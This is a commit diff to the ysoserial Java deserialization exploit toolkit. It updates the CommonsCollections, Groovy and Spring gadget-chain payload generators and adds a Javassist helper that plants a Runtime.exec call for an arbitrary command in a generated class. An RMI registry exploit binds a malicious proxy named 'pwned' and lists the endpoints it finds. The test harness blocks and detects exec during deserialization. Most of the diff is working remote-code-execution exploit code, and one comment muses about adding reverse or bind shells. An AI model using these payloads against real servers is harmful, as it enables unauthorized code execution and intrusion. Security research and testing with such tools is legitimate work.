fixed spring, commons-collections4 payloads, made test cases more robust

pom.xml

@@ -88,7 +88,12 @@
 			<version>2.1.1</version>
 			<type>pom</type>
 		</dependency>
-
+		<dependency>
+			<groupId>org.javassist</groupId>
+			<artifactId>javassist</artifactId>
+			<version>3.19.0-GA</version>
+		</dependency>
+		
 		<!-- gadget dependecies -->
 
 		<dependency>

src/main/java/ysoserial/ExecBlockingSecurityManager.java

@@ -0,0 +1,44 @@
+package ysoserial;
+
+import java.security.Permission;
+import java.util.concurrent.Callable;
+
+public class ExecBlockingSecurityManager extends SecurityManager {
+	@Override
+	public void checkPermission(final Permission perm) { }
+	
+	@Override
+	public void checkPermission(final Permission perm, final Object context) { }			
+	
+	public void checkExec(final String cmd) {
+		super.checkExec(cmd);
+		// throw a special exception to ensure we can detect exec() in the test
+		throw new ExecException(cmd);
+	};
+	
+	@SuppressWarnings("serial")
+	public static class ExecException extends RuntimeException {
+		private final String cmd;
+		public ExecException(String cmd) { this.cmd = cmd; }
+		public String getCmd() { return cmd; }		
+	}		
+	
+	public static void wrap(final Runnable runnable) throws Exception {
+		wrap(new Callable<Void>(){
+			public Void call() throws Exception {
+				runnable.run();
+				return null;
+			}			
+		});		
+	}
+	
+	public static <T> T wrap(final Callable<T> callable) throws Exception {
+		SecurityManager sm = System.getSecurityManager();
+		System.setSecurityManager(new ExecBlockingSecurityManager());
+		try {
+			return callable.call();
+		} finally {
+			System.setSecurityManager(sm);
+		}		
+	}
+}

src/main/java/ysoserial/GeneratePayload.java

@@ -38,7 +38,7 @@ public class GeneratePayload {
 			final Object object = payload.getObject(command);
 			final ObjectOutputStream objOut = new ObjectOutputStream(System.out);
 			objOut.writeObject(object);
-		} catch (Exception e) {
+		} catch (Throwable e) {
 			System.err.println("Error while generating or serializing payload");
 			e.printStackTrace();
 			System.exit(INTERNAL_ERROR_CODE);

src/main/java/ysoserial/RMIRegistryExploit.java

@@ -3,21 +3,51 @@ package ysoserial;
 import java.rmi.Remote;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
+import java.util.Arrays;
+import java.util.concurrent.Callable;
 
 import ysoserial.payloads.CommonsCollections1;
 import ysoserial.payloads.ObjectPayload;
 import ysoserial.payloads.util.Gadgets;
 
 /*
- * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader
+ * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
+ * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
+ * 
+ * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
+ * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
  */
 public class RMIRegistryExploit {
-	public static void main(String[] args) throws Exception {
+	public static void main(final String[] args) throws Exception {
-		Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));		
+		// ensure payload doesn't detonate during construction or deserialization 
-		String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
+		ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception {
-		Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
+			Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));		
-		Object payload = payloadClass.newInstance().getObject(args[3]);
+			String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
-		Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
+			Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
-		registry.bind("pwned", remote);		
+			Object payload = payloadClass.newInstance().getObject(args[3]);
+			Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
+			try {
+				registry.bind("pwned", remote);
+			} catch (Throwable e) {
+				e.printStackTrace();
+			}			
+			
+			try {
+				String[] names = registry.list();
+				for (String name : names) {
+					System.out.println("looking up '" + name + "'");
+					try {
+						Remote rem = registry.lookup(name);
+						System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
+					} catch (Throwable e) {
+						e.printStackTrace();
+					}					
+				}
+			} catch (Throwable e) {
+				e.printStackTrace();
+			}
+			
+			return null;
+		}});
 	}
 }

src/main/java/ysoserial/payloads/CommonsCollections1.java

@@ -10,6 +10,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 
+import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
@@ -37,6 +38,7 @@ import ysoserial.payloads.util.Reflections;
 		commons-collections
  */
 @SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"commons-collections:commons-collections:3.1"})
 public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
 	
 	public InvocationHandler getObject(final String command) throws Exception {
@@ -70,7 +72,7 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
 		return handler;
 	}
 	
-	public static void main(final String[] args) {
+	public static void main(final String[] args) throws Exception {
 		PayloadRunner.run(CommonsCollections1.class, args);
 	}
 }

src/main/java/ysoserial/payloads/CommonsCollections2.java

@@ -6,7 +6,7 @@ import java.util.Queue;
 import org.apache.commons.collections4.comparators.TransformingComparator;
 import org.apache.commons.collections4.functors.InvokerTransformer;
 
-import ysoserial.payloads.util.ClassFiles;
+import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
@@ -22,23 +22,14 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 						InvokerTransformer.transform()
 							Method.invoke()
 								Runtime.exec()
-	
-	Requires:
-		commons-collections4
  */
 
 @SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
+@Dependencies({"org.apache.commons:commons-collections4:4.0"})
 public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { 
 
 	public Queue<Object> getObject(final String command) throws Exception {		
-		final TemplatesImpl templates = new TemplatesImpl();
+		final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
-		
-		Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
-			ClassFiles.classAsBytes(Gadgets.TransletPayload.class), 
-			ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy
-		
-		Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy
-		
 		// mock method name until armed
 		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
 		
@@ -54,12 +45,12 @@ public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
 		// switch contents of queue
 		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
 		queueArray[0] = templates;
-		queueArray[1] = new Gadgets.TransletPayload().withCommand(command);
+		queueArray[1] = 1;
 		
 		return queue;
 	}
 	
-	public static void main(final String[] args) {
+	public static void main(final String[] args) throws Exception {
 		PayloadRunner.run(CommonsCollections2.class, args);
 	}
 

src/main/java/ysoserial/payloads/Groovy1.java

@@ -6,6 +6,7 @@ import java.util.Map;
 import org.codehaus.groovy.runtime.ConvertedClosure;
 import org.codehaus.groovy.runtime.MethodClosure;
 
+import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 
@@ -25,6 +26,7 @@ import ysoserial.payloads.util.PayloadRunner;
  */
 
 @SuppressWarnings({ "rawtypes", "unchecked" })
+@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
 public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
 
 	public InvocationHandler getObject(final String command) throws Exception {
@@ -37,7 +39,7 @@ public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHa
 		return handler;
 	}
 
-	public static void main(final String[] args) {
+	public static void main(final String[] args) throws Exception {
 		PayloadRunner.run(Groovy1.class, args);
 	}	
 }

src/main/java/ysoserial/payloads/Spring1.java

@@ -5,23 +5,20 @@ import static java.lang.Class.forName;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Type;
-import java.util.Arrays;
-import java.util.List;
 
 import javax.xml.transform.Templates;
 
 import org.springframework.beans.factory.ObjectFactory;
 
-import ysoserial.payloads.util.ClassFiles;
+import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
-import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 
 /*
-	Gadget chains:
+	Gadget chain:
 	
 		ObjectInputStream.readObject()
 			SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
@@ -43,28 +40,18 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 									TemplatesImpl.newTransformer()
 										TemplatesImpl.getTransletInstance()
 											TemplatesImpl.defineTransletClasses()
-												TemplatesImpl.TransletClassLoader.defineClass()			
+												TemplatesImpl.TransletClassLoader.defineClass()
-			Gadgets.TransletPayload.readObject()
+													Pwner*(Javassist-generated).<static init>
-				Runtime.exec()
+														Runtime.exec()
-	
+
-	Requires:
-		spring-framework-core
  */
 
 @SuppressWarnings({"restriction", "rawtypes"})
-public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>> {
+@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
+public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
 	
-	public List<Object> getObject(final String command) throws Exception {
+	public Object getObject(final String command) throws Exception {
-		final TemplatesImpl templates = new TemplatesImpl();
+		final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
-		
-		// inject class bytes into instance
-		Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
-			ClassFiles.classAsBytes(Gadgets.TransletPayload.class), 
-			ClassFiles.classAsBytes(Gadgets.Foo.class)});
-		
-		// required to make TemplatesImpl happy
-		Reflections.setFieldValue(templates, "_name", "Pwnr"); 			
-		Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
 		
 		final ObjectFactory objectFactoryProxy = 
 				Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
@@ -78,14 +65,13 @@ public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>
 				forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
 		
 		final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
-		final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0);
+		final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
+		Reflections.setFieldValue(mitp, "methodName", "newTransformer");
 
-		Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy
+		return mitp;
-		
-		return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command));
 	}
-	
+
-	public static void main(final String[] args) {
+	public static void main(final String[] args) throws Exception {
 		PayloadRunner.run(Spring1.class, args);
 	}
 

src/main/java/ysoserial/payloads/annotation/Dependencies.java

@@ -0,0 +1,12 @@
+package ysoserial.payloads.annotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Target(ElementType.TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface Dependencies {
+	String[] value() default {};
+}

src/main/java/ysoserial/payloads/util/ClassFiles.java

@@ -22,19 +22,23 @@ public class ClassFiles {
 		return str;  
 	}
 
-	public static byte[] classAsBytes(final Class<?> clazz) throws IOException {
+	public static byte[] classAsBytes(final Class<?> clazz) {
-		final byte[] buffer = new byte[1024];
+		try {
-		final String file = classAsFile(clazz);
+			final byte[] buffer = new byte[1024];
-		final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
+			final String file = classAsFile(clazz);
-		if (in == null) {
+			final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
-			throw new IOException("couldn't find '" + file + "'");
+			if (in == null) {
+				throw new IOException("couldn't find '" + file + "'");
+			}
+			final ByteArrayOutputStream out = new ByteArrayOutputStream();
+			int len;
+			while ((len = in.read(buffer)) != -1) {
+				out.write(buffer, 0, len);
+			}
+			return out.toByteArray();
+		} catch (IOException e) {
+			throw new RuntimeException(e);
 		}
-		final ByteArrayOutputStream out = new ByteArrayOutputStream();
-		int len;
-		while ((len = in.read(buffer)) != -1) {
-			out.write(buffer, 0, len);
-		}
-		return out.toByteArray();
 	}
 	
 }

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -1,7 +1,5 @@
 package ysoserial.payloads.util;
 
-import java.io.IOException;
-import java.io.ObjectInputStream;
 import java.io.Serializable;
 import java.lang.reflect.Array;
 import java.lang.reflect.InvocationHandler;
@@ -9,9 +7,15 @@ import java.lang.reflect.Proxy;
 import java.util.HashMap;
 import java.util.Map;
 
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+
 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 
@@ -20,37 +24,15 @@ import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  */
 @SuppressWarnings("restriction")
 public class Gadgets {
-	private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
+	private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";	
+	
+	public static class StubTransletPayload extends AbstractTranslet implements Serializable {
+		private static final long serialVersionUID = -5971610431559700674L;
 
-	// serializable translet subclass that will command stored in field when deserialized 
-	public static class TransletPayload extends AbstractTranslet implements Serializable {		
-		private static final long serialVersionUID = 5571793986024357801L;
-		
-		{
-			namesArray = new String[0]; // needed to make TemplatesImpl happy
-		}
-		
-		private String command;
-		
-		// execute stored command on deserialization
-		private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
-			in.defaultReadObject(); // read command string
-			try {
-				Runtime.getRuntime().exec(command); // execute command
-			} catch (IOException e) {
-				e.printStackTrace(); // not trying to be stealthy
-			}			 
-		}
-		
-		public TransletPayload withCommand(String command) {
-			this.command = command;
-			return this;
-		}		
-		
 		public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
-		
+
-		public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) 
+		@Override
-			throws TransletException {}
+		public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}	
 	}
 
 	// required to make TemplatesImpl happy
@@ -81,4 +63,30 @@ public class Gadgets {
 		map.put(key,val);
 		return map;
 	}
+
+	public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
+		final TemplatesImpl templates = new TemplatesImpl();		
+		
+		// use template gadget class
+		ClassPool pool = ClassPool.getDefault();
+		pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
+		final CtClass clazz = pool.get(StubTransletPayload.class.getName());
+		// run command in static initializer
+		// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
+		clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
+		// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
+		clazz.setName("ysoserial.Pwner" + System.nanoTime());		
+		
+		final byte[] classBytes = clazz.toBytecode();
+		
+		// inject class bytes into instance
+		Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
+			classBytes,
+			ClassFiles.classAsBytes(Foo.class)});
+		
+		// required to make TemplatesImpl happy
+		Reflections.setFieldValue(templates, "_name", "Pwnr"); 			
+		Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
+		return templates;
+	}
 }

src/main/java/ysoserial/payloads/util/PayloadRunner.java

@@ -2,6 +2,10 @@ package ysoserial.payloads.util;
 
 import static ysoserial.payloads.util.Serializables.deserialize;
 import static ysoserial.payloads.util.Serializables.serialize;
+
+import java.util.concurrent.Callable;
+
+import ysoserial.ExecBlockingSecurityManager;
 import ysoserial.payloads.ObjectPayload;
 
 /*
@@ -9,22 +13,24 @@ import ysoserial.payloads.ObjectPayload;
  */
 @SuppressWarnings("unused")
 public class PayloadRunner {
-	public static void run(final Class<? extends ObjectPayload> clazz, final String[] args) {
+	public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {		
-		try {
+		// ensure payload generation doesn't throw an exception
-			final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
+		byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable<byte[]>(){
-			
+			public byte[] call() throws Exception {
-			System.out.println("generating payload object(s) for command: '" + command + "'");
+				final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
-			
+				
-			final Object objBefore = clazz.newInstance().getObject(command);
+				System.out.println("generating payload object(s) for command: '" + command + "'");
-			
+				
-			System.out.println("serializing payload");
+				final Object objBefore = clazz.newInstance().getObject(command);
-			
+				
-			final byte[] serialized = serialize(objBefore);
+				System.out.println("serializing payload");
-			
+				
-			System.out.println("deserializing payload");
+				return serialize(objBefore);
-			
+		}});			
-			final Object objAfter = deserialize(serialized);
 			
+		try {	
+			System.out.println("deserializing payload");			
+			final Object objAfter = deserialize(serialized);			
 		} catch (Exception e) {
 			e.printStackTrace();
 		}

src/test/java/ysoserial/DeserializerThunk.java

@@ -0,0 +1,17 @@
+package ysoserial;
+
+import java.io.ByteArrayInputStream;
+import java.io.ObjectInputStream;
+import java.util.concurrent.Callable;
+
+/*
+ * deserializes specified bytes; for use from isolated classloader
+ */
+public class DeserializerThunk implements Callable<Object> {
+	private final byte[] bytes;		
+	public DeserializerThunk(byte[] bytes) { this.bytes = bytes; }
+	public Object call() throws Exception {
+		ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
+		return ois.readObject();
+	}
+}

src/test/java/ysoserial/ExecSerializable.java

@@ -6,6 +6,9 @@ import java.io.Serializable;
 
 @SuppressWarnings("serial")
 public class ExecSerializable implements Serializable {
+	private final String cmd;	
+	public ExecSerializable(String cmd) { this.cmd = cmd; }
+
 	private void readObject(final ObjectInputStream ois) {
 		try {
 			Runtime.getRuntime().exec("hostname");

src/test/java/ysoserial/MockPayload.java

@@ -1,17 +0,0 @@
-package ysoserial;
-
-import java.io.Serializable;
-
-import ysoserial.payloads.ObjectPayload;
-
-public class MockPayload implements ObjectPayload {
-	private final Serializable obj;
-	
-	public MockPayload(final Serializable obj) {
-		this.obj = obj;
-	}
-
-	public Object getObject(final String command) throws Exception {
-		return obj;
-	}
-}

src/test/java/ysoserial/MockSecurityManager.java

@@ -1,28 +0,0 @@
-package ysoserial;
-
-import java.security.Permission;
-import java.util.LinkedList;
-import java.util.List;
-
-public class MockSecurityManager extends SecurityManager {
-	private final List<Permission> checks = new LinkedList<Permission>();
-
-	public List<Permission> getChecks() {
-		return checks;
-	}
-	
-	public void clearChecks() {
-		checks.clear();
-	}
-
-	@Override
-	public void checkPermission(final Permission perm) {
-		checks.add(perm);
-	}
-	
-	@Override
-	public void checkPermission(final Permission perm, final Object context) {
-		checks.add(perm);
-	}
-		
-}

src/test/java/ysoserial/Throwables.java

@@ -3,6 +3,6 @@ package ysoserial;
 public class Throwables {
 	public static Throwable getInnermostCause(final Throwable t) {
 		final Throwable cause = t.getCause();
-		return cause == null ? t : getInnermostCause(cause);  
+		return cause == null || cause == t ? t : getInnermostCause(cause);  
 	}		
 }

src/test/java/ysoserial/payloads/PayloadsTest.java

@@ -2,92 +2,145 @@ package ysoserial.payloads;
 
 import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
 
-import java.io.FilePermission;
+import java.io.File;
-import java.util.Collections;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.concurrent.Callable;
 
+import org.hamcrest.CoreMatchers;
+import org.jboss.shrinkwrap.resolver.api.maven.Maven;
 import org.junit.Assert;
-import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.contrib.java.lang.system.ProvideSecurityManager;
-import org.junit.experimental.theories.DataPoints;
-import org.junit.experimental.theories.Theories;
-import org.junit.experimental.theories.Theory;
 import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameters;
 
+import ysoserial.DeserializerThunk;
+import ysoserial.ExecBlockingSecurityManager;
+import ysoserial.ExecBlockingSecurityManager.ExecException;
 import ysoserial.ExecSerializable;
-import ysoserial.MockPayload;
-import ysoserial.MockSecurityManager;
 import ysoserial.Throwables;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.ClassFiles;
 import ysoserial.payloads.util.Serializables;
 
 /*
  * tests each of the parameterize Payload classes by using a mock SecurityManager that throws
  * a special exception when an exec() attempt is made for more reliable detection; self-tests
  * the harness for trivial pass and failure cases
+
+TODO: pull out harness tests so they are only run once
+TODO: figure out better way to test exception behavior than comparing messages
  */
-@SuppressWarnings({"restriction","unused"})
+@SuppressWarnings({"restriction", "unused", "unchecked"})
-@RunWith(Theories.class)
+@RunWith(Parameterized.class)
 public class PayloadsTest {
 	private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
-
+	private static final String DESER_THUNK_CLASS = DeserializerThunk.class.getName();	
-	@SuppressWarnings("serial")
-	private static class ExecException extends RuntimeException {}
-	private final MockSecurityManager msm = new MockSecurityManager(){
-		public void checkExec(final String cmd) {
-			super.checkExec(cmd);
-			// throw a special exception to ensure we can detect exec() in the test
-			throw new ExecException();
-		};
-	};
 	
 	@Rule
-	public final ProvideSecurityManager psm = new ProvideSecurityManager(msm);
+	public final ProvideSecurityManager psm = new ProvideSecurityManager(new ExecBlockingSecurityManager());
 	
-	// ensure that checks get cleared between tests, though current test setup seems to work without it
+	@Parameters(name = "payloadClass: {0}")
-	@Before
+	public static Class<? extends ObjectPayload<?>>[] payloads() {
-	public void clearChecks() { msm.clearChecks(); }
+		return new Class[] { CommonsCollections1.class, Groovy1.class , CommonsCollections2.class, Spring1.class };
-	
-	@DataPoints
-	public static ObjectPayload[] payloads() {
-		return new ObjectPayload[] { new CommonsCollections1(), new Groovy1(), new Spring1() };
 	}	
 
-	@Theory
+	private final Class<? extends ObjectPayload<?>> payloadClass;	
-	public void testPayload(final ObjectPayload payload) throws Exception {		
+	
-		final Object f = payload.getObject("hostname");
+	public PayloadsTest(Class<? extends ObjectPayload<?>> payloadClass) {
-		final byte[] serialized = Serializables.serialize(f);
+		this.payloadClass = payloadClass;
-				
+	}
-		// special case for using TemplatesImpl gadgets with SecurityManager
+
-		System.setProperty(DESERIALIZE_TRANSLET, "true");
+	@Test
-		
+	public void testPayload() throws Exception {
-		try {
+		testPayload(payloadClass, new Class[0]);
-			final Object obj = Serializables.deserialize(serialized);
+	}
+	
+	public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, Class[] addlClassesForClassLoader) throws Exception {
+		String command = "hostname";
+		Dependencies depsAnn = payloadClass.getAnnotation(Dependencies.class);
+		String[] deps = depsAnn != null ? depsAnn.value() : new String[0];
+		ObjectPayload<?> payload = payloadClass.newInstance();
+		final Object f = payload.getObject(command);
+		final byte[] serialized = Serializables.serialize(f);		
+		try {			
+			deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
 			Assert.fail(ASSERT_MESSAGE); // should never get here
-		} catch (Exception e) {
+		} catch (Throwable e) {
 			// hopefully everything will reliably nest our ExecException
-			Assert.assertEquals(Throwables.getInnermostCause(e).getClass(), ExecException.class);
+			Throwable innerEx = Throwables.getInnermostCause(e);
+			Assert.assertEquals(ExecException.class, innerEx.getClass());
+			Assert.assertEquals(command, ((ExecException) innerEx).getCmd());			
 		}		
+	}
+	
+	@SuppressWarnings({ "unchecked" })
+	private static void deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception {
+		// special case for using TemplatesImpl gadgets with a SecurityManager enabled
+		System.setProperty(DESERIALIZE_TRANSLET, "true");		
 		
-		// confirm sm saw the check for file execution		
+		File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
-		Assert.assertEquals(1,Collections.frequency(msm.getChecks(), new FilePermission("<<ALL FILES>>", "execute")));
+		URL[] urls = new URL[jars.length];
+		for (int i = 0; i < jars.length; i++) {
+			urls[i] = jars[i].toURI().toURL();
+		}
 		
+		URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{
+			for (Class<?> clazz : classDependencies) {
+				byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
+				defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);	
+			}
+			byte[] deserializerClassBytes = ClassFiles.classAsBytes(DeserializerThunk.class);
+			defineClass(DeserializerThunk.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
+											
+		}};
+		
+		Class<?> deserializerClass = isolatedClassLoader.loadClass(DESER_THUNK_CLASS);
+		Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized);
+		final Object obj = deserializer.call();			
 	}
 	
 	// make sure test harness fails properly
 	@Test
-	public void testHarnessFail() throws Exception {
+	public void testHarnessExecFail() throws Exception {
 		try {
-			testPayload(new MockPayload(1));
+			testPayload(NoopMockPayload.class, new Class[0]);
 			Assert.fail("should have failed");
 		} catch (AssertionError e) {
-			Assert.assertEquals(ASSERT_MESSAGE, e.getMessage());
+			Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
+			
 		}
 	}
 	
-	// make sure test harness passes properly	
+	// make sure test harness fails properly
 	@Test
-	public void testHarnessPass() throws Exception {
+	public void testHarnessClassLoaderFail() throws Exception {
-		testPayload(new MockPayload(new ExecSerializable()));
+		try {
+			testPayload(ExecMockPayload.class, new Class[0]);
+			Assert.fail("should have failed");
+		} catch (AssertionError e) {
+			Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
+		}
+	}	
+	
+	// make sure test harness passes properly with trivial execution gadget	
+	@Test
+	public void testHarnessExecPass() throws Exception {		
+		testPayload(ExecMockPayload.class, new Class[] { ExecSerializable.class });
 	}
+	
+	public static class ExecMockPayload implements ObjectPayload<ExecSerializable> {
+		public ExecSerializable getObject(String command) throws Exception {
+			return new ExecSerializable(command);
+		}		
+	}
+	
+	public static class NoopMockPayload implements ObjectPayload<Integer> {
+		public Integer getObject(String command) throws Exception {
+			return 1;
+		}		
+	}	
 }